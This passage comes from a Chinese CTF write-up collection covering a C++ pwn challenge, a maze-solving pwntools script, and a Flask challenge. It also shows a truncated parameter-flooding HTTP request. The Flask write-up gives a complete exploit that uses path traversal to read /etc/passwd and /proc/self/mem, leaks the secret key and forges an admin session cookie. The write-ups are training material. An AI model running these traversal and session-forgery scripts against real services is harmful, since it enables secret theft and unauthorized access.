Class_kun(int size, char* buf)
{
this->size = size;
this->buf = strdup(buf);
}

~Class_kun()
{
free(this->buf);
}
};

class Class_two : public Class_one
{
public:
Class_two(char* buf)
{
this->length = strlen(buf);
this->data = new Class_kun(this->length, buf);
}

~Class_two()
{
delete((Class_kun*)this->data);
}

char *c_str()
{
return ((Class_kun*)this->data)->buf;
}

int size()
{
return ((Class_kun*)this->data)->size;
}

void update(char* buf)
{
this->length = strlen(buf);
((Class_kun*)this->data)->buf = strdup(buf);
((Class_kun*)this->data)->size = this->length;
}
};

int cnt;
Class_one *lst[0x10];

void menu()
{
cout << "|******************|" << endl;
cout << "| MENU |" << endl;
cout << "| 1. Create |" << endl;
cout << "| 2. Update |" << endl;
cout << "| 3. Display |" << endl;
cout << "| 4. Exit |" << endl;
cout << "|******************|" << endl;
cout << "Please input your choice >> ";
}

void create()
{
if (cnt >= 10)
{
cout << "[Error] No spare space." << endl;
return;
}

int type;
cout << "Which type do you want to create?" << endl;
cin >> type;
if ((type != 0) && (type != 1))
{
cout << "[Error] No such type." << endl;
return;
}

string content;
cout << "Please enter the content >> ";
cin >> content;
if (content.size() >= 0x100)
{
cout << "[Error] Content is too long." << endl;
return;
}

if (type == 1)
{
lst[cnt] = new Class_two((char*)content.c_str());
}
else
{
lst[cnt] = new Class_one((char*)content.c_str());
}
cnt++;
cout << "[Success] Created!" << endl;
}

void update()
{
unsigned int idx;
cout << "Which one do you want to update?" << endl;
cin >> idx;

if (idx >= cnt)
{
cout << "[Error] No such one." << endl;
return;
}

string content;
cout << "Please enter the new content >> ";
cin >> content;

if (content.size() >= 0x100)
{
cout << "[Error] Content is too long." << endl;
return;
}

lst[idx]->update((char*) content.c_str());
cout << "[Success] Updated!" << endl;
}

void display()
{
unsigned int idx;
cout << "Which one do you want to display?" << endl;
cin >> idx;

if (idx >= cnt)
{
cout << "[Error] No such one." << endl;
return;
}

lst[idx]->print();
}

int main()
{
init();

int choice;

try
{
while(true)
{
menu();
cin >> choice;
switch(choice)
{
case 1:
create();
break;
case 2:
update();
break;
case 3:
display();
break;
case 4:
cout << "Bye~" << endl;
return 0;
default:
cout << "[Error] Invild choice." << endl;
}
}
}
catch(int)
{
cout << "Error!" << endl;
exit(-1);
}
}

Cat of magic🧙‍♀️

made by xiaoji233

根据题意,是一个 20*20 的迷宫,然后有10层。根据所给文件,我们可以得到要救出100次猫,在第一层下楼之后就会得到 flag。猫应该是在第 10 层的 18,18 的位置。

通过 dfs 算法把迷宫样貌跑出来,然后手走,走到第10层之后发现 18,18 的位置中被墙壁封锁了。但是给了个锤子,应该是要用锤子砸墙壁然后救到猫,但是每次都要走到第一层,时间上来不太够。于是考虑其它方法,观察到全局变量中有 RescueCat 变量,并且最后判断的时候只需要判断救出的猫是否 >=100 即可,并且移动选择器的算法中,在处理的时候会强制把当前位置变成'.',因此拿了锤子直接在第一层开始砸墙,向上进行变量覆盖,覆盖任意一个字节或两个字节到 RescueCat 变量中再从第一层走出即可拿到 flag。

exp

dfs的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
import os
#context.log_level='debug'
p=remote('101.43.78.225',9999)
maze=[]
IsGo=[]
doorkey=[0,0,0]
dx=[1,-1,0,0]
dy=[0,0,1,-1]
flag=1
x=1
y=1
key='DASW'
def InitMaze():
global maze,IsGo
maze = []
IsGo = []
for i in range(40):
s=['#' for j in range(40)]
maze.append(s)
k=[0 for j in range(40)]
IsGo.append(k)
def choice():
p.sendlineafter('(Y/N)','Y')

def judge():
s=p.recvuntil(b'Now you see:\n')
if b"can't" in s:
return False
return True

def get_maze(k):
global maze,x,y,flag
res=judge()
print(res,x,y)
if res:
x += dx[k]
y += dy[k]

for i in range(3):
s = p.recvline().decode()
for j in range(3):
if(maze[y+i-1][x+j-1]=='#' or maze[y+i-1][x+j-1]=='@' or flag):maze[y+i-1][x+j-1]=s[j]
if x==3 and y==1:
print(res, x, y)
return res

def PrintMaze():
#os.system("cls")
for i in range(30):
for j in range(30):
if i==y and j==x:
print("@",end='')
else:
print(maze[i][j],end='')
print()

def move(dir):
if len(dir)!=1:return
dir=dir.upper()
k = key.find(dir)
if(k==-1):return
p.sendline(dir)
res=get_maze(k)
PrintMaze()
return res
line='ssDdww'

def dfs():
dot=[]
door=[]
for i in range(4):
nx=x+dx[i]
ny=y+dy[i]
if IsGo[ny][nx]==0:
if maze[ny][nx]=='.' or maze[ny][nx]>='a' and maze[ny][nx]<='c':
dot.append(i)
elif maze[ny][nx]>='A' and maze[ny][nx]<='C':
door.append(i)
for k in dot:
nx = x + dx[k]
ny = y + dy[k]
if maze[ny][nx]>='a' and maze[ny][nx] <='c':
doorkey[ord(maze[ny][nx]) - ord('a')]+=1
IsGo[y][x] = 1
move(key[k])
dfs()
move(key[k^1])
IsGo[y][x] = 0
for k in door:
nx = x + dx[k]
ny = y + dy[k]
if doorkey[ord(maze[ny][nx])-ord('A')]:
doorkey[ord(maze[ny][nx])-ord('A')]-=1
else:
continue
IsGo[y][x] = 1
move(key[k])
dfs()
move(key[k ^ 1])
IsGo[y][x] = 0
choice()
choice()
i=0
InitMaze()
get_maze(-1)
PrintMaze()

while i<len(line):
dir=line[i]
move(dir)
i+=1
flag=0
# x=1
# y=1
# InitMaze()
# move('W')
dfs()
cmd=''
while True:
dir=input('cmd$')
dir=dir.upper()
if dir=='PRINT':
print(cmd)
continue
dir=dir[0]
k=key.find(dir)
if k==-1:
print('wrong')
continue

if move(dir):
cmd += key[k]

在这个脚本中,会记录地图一层的样貌,可以手走。得到手走的payload之后可以在line变量末尾添加,再以此为基础再进行dfs,多次来回之后可以得到地图全貌和路线。

地图

1
#####################<#...............a##.#.######A##########...#......#.......######B####.#.#####C##aaaa.#c#..#.#...#.########.#.##.#.#.#.##.A.#.A.#..#.#.#.#.##.#.A.#.##.#.#.#.#.##.#######..#.#.#.#.##.........##.#.#.#.##.##########.#.#.#.##.#...#..#..A#.#.#.##.#.#.#.####.#b#.#.##.#.#.#..#...###.#.##.#.#.##.#.#.#.#.#.##...#.#..#.#.#...#.######.#.##.#.#.#.#.##..........#...#.#>##########################################<#............#...##.#.###.######.#.#.##...#.#.#.#..#.#.#.######.#.#.C.b#.#.#.##.........#..#.#.#.#########.#######.#.##...#.a#.........#.##.#.#.##.#########.##.#.#.##.#.........##.#.#..#.#.##########.#.##.#.#....B....##.#....#.#.#.#.###.##.#.####.#.#.#a#c#.##.#.AAb#.#.#.#a#.#.##.######.#.#.###.#.##........###.A...#.##.########>#######.##........#B........##########################################<.................########.##########.##..........#...#b#.########.#..#.#.#.#.##....a#.#..#.#.#.#.##.#####.#....#.#.#.##.#a..C.######.#.#.##.#####......#.#.#.##.C.#...######.#.#.##.#.#.#......#.A.#.##.#.#.#.####.#####.##.#.#.#....#.#a....##.#.#.#.####.########.#.#.#....#B.....c##.#.#.####.#.########.#.#.#....#A.....c##.#.#.######.########.#...#.....A.....>##########################################<#a...............##.################.##..................##.###################.A...............b##.###################.C...............a##.###################.#.A.#.a.#.BA#.CB>##.Bc#ba.#.B.#Ac.#..##.###################.B..............aa##.###################.C.............bbb##.###################.AA............bbb##.###################.BBB.............c##########################################<#................##.#.##############.##.#..............#.##.##############.#.##.#..............#.##.#.##############.##.#..............#.##.##############.#.##.#ac#...#...#...#.##.##B..#...#...#.#.##.################.##..................##b###################.#...............>##.#C#################.#................##.################.##A.................##########################################<#.a..............##.#.##############.##...#...........b#.######A############.##................#.#################.#.##...Ca#c.......#.#.##.#.#a########A#.#.##.#.#.#........#.#.##.#.#.#.########.#.##.#.#.#.#.C....#.#.##.#.#.#.#>#.##.#.#.##.#.#.#A######.#.#.##.#.#..........#.#.##.#.############.#.##.#................##.###################.B...............c##########################################<................a##.################.##..................###################A##..................##.###################..................##.################.##.#aB.#c####>#...#.##.#.#.#..##.C#.#.#.##.#.#.#.####.#.#.#.##.#.#.#..##..#.#.#.##.#.#.##.##.##.#.#.##.#.#.#..##..#.#.#.##.#.#.#.####.#.#.#.##.#.#.#..##.b#.#.#.##.#.#.##.##.##.#.#.##...#....##....#.A.##########################################<#...............c##.#.#################..................#################C####c#..............#>##.#.############.#.##.#.#.........a#.#.##.#.#.##########.#.##.#.#..........#.#.##.#.##########.#.#.##.#.#..........#.#B##.#.#.##########.#.##.#.#.............C##.#.#.############.##.#.#.#...#...#b##.##.#.#.#.#.#.#.#.##.##.#.#.#.#.#.#.#.##.##.A.#...#...#.A.##a##########################################<#.......a........##.#C##############C##cc................####A#################>#.C.............b##.#.#################.#.#..............##.#.#.############.##.#.#.#..a#........##.#.#.#.#.#.####.#.##.#.#.#.#.#......#.##.#.#.#.#.#.####.#.##.#.#.#.#.#......#.##.#.#.#.#.######.#.##.#.#.#.#.#..A.#.#.##.#...#.#.#.c#...#.##.#####.#.########.##.C.....#.B........##########################################<.................####.##############C##...#....#...#...#.##.#...##...#...#b#.##.#.##############.##.#..............#.##.##############.#.##.#..............#.##.#.##############.##.#..............#.##.##############.#.##.#..............#.##.#.##############.##.#..............#.##.##############B#T##.#a.............####A###################...............c#-#####################

WEB

ez_js🐦

Cat cat😼

Edited by lx56

信息收集与尝试

题目首页

进入题目首页可得以下界面

尝试点击绿色文字可以跳转到如下页面,可以猜测可能存在任意文件读取

尝试读取系统文件

检测是否能任意文件读取,读取/etc/passwd成功

读取源码

先读取cmdline获取源码文件名

通过../app.py读取源码

上图读出来的源码很乱,但由前面b开头可知这是python中的bytes类型

可以直接使用bytes的decode()方法获取格式化的源码,如下

1
2
a = b'abc\nabc'
print(a.decode())

获取源码如下

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))



@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"



if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

代码审计

从源码可知Python3程序,使用了Flask框架

审计app.py

flag部分

首先关注含有flag的部分,以下代码可知程序一启动就读取并删除flag文件

1
2
3
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

关注到admin路由可以获取flag,但是需要完成session伪造

需要伪造内容为{"admin" : 1}的session,则需要获取secret key

1
2
3
4
5
6
7
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"

secret key部分如下,是生成一个uuid然后去除-再拼接*abcdefgh组成的

1
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

文件读取部分

可以看到任意文件读取功能是info路由提供的,

注意到可控参数有三个,分别是file,start和end

还注意到其中有个cat函数

1
2
3
4
5
6
7
8
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))

分析源码可知cat函数由cat.py提供

1
from cat import cat

审计cat.py

使用同样的方法读取cat.py的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os, sys, getopt


def cat(filename, start=0, end=0)->bytes:
data = b''

try:
start = int(start)
end = int(end)

except:
start=0
end=0

if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")

if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)

else:
data = f.read()

else:
data = f.read()

f.close()

else:
data = ("File `%s` not exist or can not be read" % filename).encode()

return data


if __name__ == '__main__':
opts,args = getopt.getopt(sys.argv[1:],'-h-f:-s:-e:',['help','file=','start=','end='])
fileName = ""
start = 0
end = 0

for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()

elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value

elif opt_name == '-s' or opt_name == '--start':
start = opt_value

elif opt_name == '-e' or opt_name == '--end':
end = opt_value

if fileName != "":
print(cat(fileName, start, end))

else:
print("No file to read")

文件读取功能

cat.py功能比较简单,整段源码最重要的部分如下

下面代码的作用是读取文件并以bytes返回,观察可知可以设定读取位置(start、end)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def cat(filename, start=0, end=0)->bytes:
data = b''

try:
start = int(start)
end = int(end)

except:
start=0
end=0

if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")

if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)

else:
data = f.read()

else:
data = f.read()

f.close()

else:
data = ("File `%s` not exist or can not be read" % filename).encode()

return data

使用方法

使用方法如下

例如新建一个a.txt,内容如下

1
abcdefg

使用app.py读取a.txt,从第1个位置开始到第3个位置

1
python3 cat.py -s 1 -e 3 -f a.txt

解题

这题的关键点就是伪造session,从而访问admin路由获取flag

但伪造session需要获取secret key

获取secret key

这里可以利用python存储对象的位置在堆上这个特性,

app是实例化的Flask对象,而secret key在app.config['SECRET_KEY']

所以可以通过读取/proc/self/mem来读取secret key

读取堆栈分布

由于/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,

所以先读取/proc/self/maps获取堆栈分布

1
2
3
4
5
6
7
8
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

读取对应位置内存数据

然后读取/proc/self/mem,读取对应位置的内存数据,

再使用正则表达式查找内容

1
2
3
4
5
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
if "*abcdefgh" in res.text:
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])

伪造session

session伪造可以利用如下项目

1
https://github.com/noraj/flask-session-cookie-manager

一键获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')

#----------------session 伪造----------------
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key

class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
#-------------------------------------------



#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
#匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)

#设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
#如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break

#设置session中admin的值为1
data = '{"admin":1}'
#伪造session
headers = {
"Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
flag = requests.get(url + "admin", headers=headers)
print("Flag is", flag.text)
except:
print("Something error")

写在最后

提供docker-compose等文件:https://blog.lxscloud.top/static/post/CTF_Python_Flask/catcat/cat_cat.zip

若师傅想要直接复现可以到我的CTF平台:https://ctfm.lxscloud.top/category/test/challenge/13

同时提供exp文件下载(Python3.6以上):https://blog.lxscloud.top/static/post/CTF_Python_Flask/catcat/getFlag.py

ez_bypass🍥

简单的 bypass filter

ez_curl🔗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
POST / HTTP/1.1
Host: 127.0.0.1:2334
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 11945

{"headers":["admin: t",
" true: t"],"params":{"admin":"t",
"2":"1",
"3":"1",
"4":"1",
"5":"1",
"6":"1",
"7":"1",
"8":"1",
"9":"1",
"10":"1",
"11":"1",
"12":"1",
"13":"1",
"14":"1",
"15":"1",
"16":"1",
"17":"1",
"18":"1",
"19":"1",
"20":"1",
"21":"1",
"22":"1",
"23":"1",
"24":"1",
"25":"1",
"26":"1",
"27":"1",
"28":"1",
"29":"1",
"30":"1",
"31":"1",
"32":"1",
"33":"1",
"34":"1",
"35":"1",
"36":"1",
"37":"1",
"38":"1",
"39":"1",
"40":"1",
"41":"1",
"42":"1",
"43":"1",
"44":"1",
"45":"1",
"46":"1",
"47":"1",
"48":"1",
"49":"1",
"50":"1",
"51":"1",
"52":"1",
"53":"1",
"54":"1",
"55":"1",
"56":"1",
"57":"1",
"58":"1",
"59":"1",
"60":"1",
"61":"1",
"62":"1",
"63":"1",
"64":"1",
"65":"1",
"66":"1",
"67":"1",
"68":"1",
"69":"1",
"70":"1",
"71":"1",
"72":"1",
"73":"1",
"74":"1",
"75":"1",
"76":"1",
"77":"1",
"78":"1",
"79":"1",
"80":"1",
"81":"1",
"82":"1",
"83":"1",
"84":"1",
"85":"1",
"86":"1",
"87":"1",
"88":"1",
"89":"1",
"90":"1",
"91":"1",
"92":"1",
"93":"1",
"94":"1",
"95":"1",
"96":"1",
"97":"1",
"98":"1",
"99":"1",
"100":"1",
"101":"1",
"102":"1",
"103":"1",
"104":"1",
"105":"1",
"106":"1",
"107":"1",
"108":"1",
"109":"1",
"110":"1",
"111":"1",
"112":"1",
"113":"1",
"114":"1",
"115":"1",
"116":"1",
"117":"1",
"118":"1",
"119":"1",
"120":"1",
"121":"1",
"122":"1",
"123":"1",
"124":"1",
"125":"1",
"126":"1",
"127":"1",
"128":"1",
"129":"1",
"130":"1",
"131":"1",
"132":"1",
"133":"1",
"134":"1",
"135":"1",
"136":"1",
"137":"1",
"138":"1",
"139":"1",
"140":"1",
"141":"1",
"142":"1",
"143":"1",
"144":"1",
"145":"1",
"146":"1",
"147":"1",
"148":"1",
"149":"1",
"150":"1",
"151":"1",
"152":"1",
"153":"1",
"154":"1",
"155":"1",
"156":"1",
"157":"1",
"158":"1",
"159":"1",
"160":"1",
"161":"1",
"162":"1",
"163":"1",
"164":"1",
"165":"1",
"166":"1",
"167":"1",
"168":"1",
"169":"1",
"170":"1",
"171":"1",
"172":"1",
"173":"1",
"174":"1",
"175":"1",
"176":"1",
"177":"1",
"178":"1",
"179":"1",
"180":"1",
"181":"1",
"182":"1",
"183":"1",
"184":"1",
"185":"1",
"186":"1",
"187":"1",
"188":"1",
"189":"1",
"190":"1",
"191":"1",
"192":"1",
"193":"1",
"194":"1",
"195":"1",
"196":"1",
"197":"1",
"198":"1",
"199":"1",
"200":"1",
"201":"1",
"202":"1",
"203":"1",
"204":"1",
"205":"1",
"206":"1",
"207":"1",
"208":"1",
"209":"1",
"210":"1",
"211":"1",
"212":"1",
"213":"1",
"214":"1",
"215":"1",
"216":"1",
"217":"1",
"218":"1",
"219":"1",
"220":"1",
"221":"1",
"222":"1",
"223":"1",
"224":"1",
"225":"1",
"226":"1",
"227":"1",
"228":"1",
"229":"1",
"230":"1",
"231":"1",
"232":"1",
"233":"1",
"234":"1",
"235":"1",
"236":"1",
"237":"1",
"238":"1",
"239":"1",
"240":"1",
"241":"1",
"242":"1",
"243":"1",
"244":"1",
"245":"1",
"246":"1",
"247":"1",
"248":"1",
"249":"1",
"250":"1",
"251":"1",
"252":"1",
"253":"1",
"254":"1",
"255":"1",
"256":"1",
"257":"1",
"258":"1",
"259":"1",
"260":"1",
"261":"1",
"262":"1",
"263":"1",
"264":"1",
"265":"1",
"266":"1",
"267":"1",
"268":"1",
"269":"1",
"270":"1",
"271":"1",
"272":"1",
"273":"1",
"274":"1",
"275":"1",
"276":"1",
"277":"1",
"278":"1",
"279":"1",
"280":"1",
"281":"1",
"282":"1",
"283":"1",
"284":"1",
"285":"1",
"286":"1",
"287":"1",
"288":"1",
"289":"1",
"290":"1",
"291":"1",
"292":"1",
"293":"1",
"294":"1",
"295":"1",
"296":"1",
"297":"1",
"298":"1",
"299":"1",
"300":"1",
"301":"1",
"302":"1",
"303":"1",
"304":"1",
"305":"1",
"306":"1",
"307":"1",
"308":"1",
"309":"1",
"310":"1",
"311":"1",
"312":"1",
"313":"1",
"314":"1",
"315":"1",
"316":"1",
"317":"1",
"318":"1",
"319":"1",
"320":"1",
"321":"1",
"322":"1",
"323":"1",
"324":"1",
"325":"1",
"326":"1",
"327":"1",
"328":"1",
"329":"1",
"330":"1",
"331":"1",
"332":"1",
"333":"1",
"334":"1",
"335":"1",
"336":"1",
"337":"1",
"338":"1",
"339":"1",
"340":"1",
"341":"1",
"342":"1",
"343":"1",
"344":"1",
"345":"1",
"346":"1",
"347":"1",
"348":"1",
"349":"1",
"350":"1",
"351":"1",
"352":"1",
"353":"1",
"354":"1",
"355":"1",
"356":"1",
"357":"1",
"358":"1",
"359":"1",
"360":"1",
"361":"1",
"362":"1",
"363":"1",
"364":"1",
"365":"1",
"366":"1",
"367":"1",
"368":"1",
"369":"1",
"370":"1",
"371":"1",
"372":"1",
"373":"1",
"374":"1",
"375":"1",
"376":"1",
"377":"1",
"378":"1",
"379":"1",
"380":"1",
"381":"1",
"382":"1",
"383":"1",
"384":"1",
"385":"1",
"386":"1",
"387":"1",
"388":"1",
"389":"1",
"390":"1",
"391":"1",
"392":"1",
"393":"1",
"394":"1",
"395":"1",
"396":"1",
"397":"1",
"398":"1",
"399":"1",
"400":"1",
"401":"1",
"402":"1",
"403":"1",
"404":"1",
"405":"1",
"406":"1",
"407":"1",
"408":"1",
"409":"1",
"410":"1",
"411":"1",
"412":"1",
"413":"1",
"414":"1",
"415":"1",
"416":"1",
"417":"1",
"418":"1",
"419":"1",
"420":"1",
"421":"1",
"422":"1",
"423":"1",
"424":"1",
"425":"1",
"426":"1",
"427":"1",
"428":"1",
"429":"1",
"430":"1",
"431":"1",
"432":"1",
"433":"1",
"434":"1",
"435":"1",
"436":"1",
"437":"1",
"438":"1",
"439":"1",
"440":"1",
"441":"1",
"442":"1",
"443":"1",
"444":"1",
"445":"1",
"446":"1",
"447":"1",
"448":"1",
"449":"1",
"450":"1",
"451":"1",
"452":"1",
"453":"1",
"454":"1",
"455":"1",
"456":"1",
"457":"1",
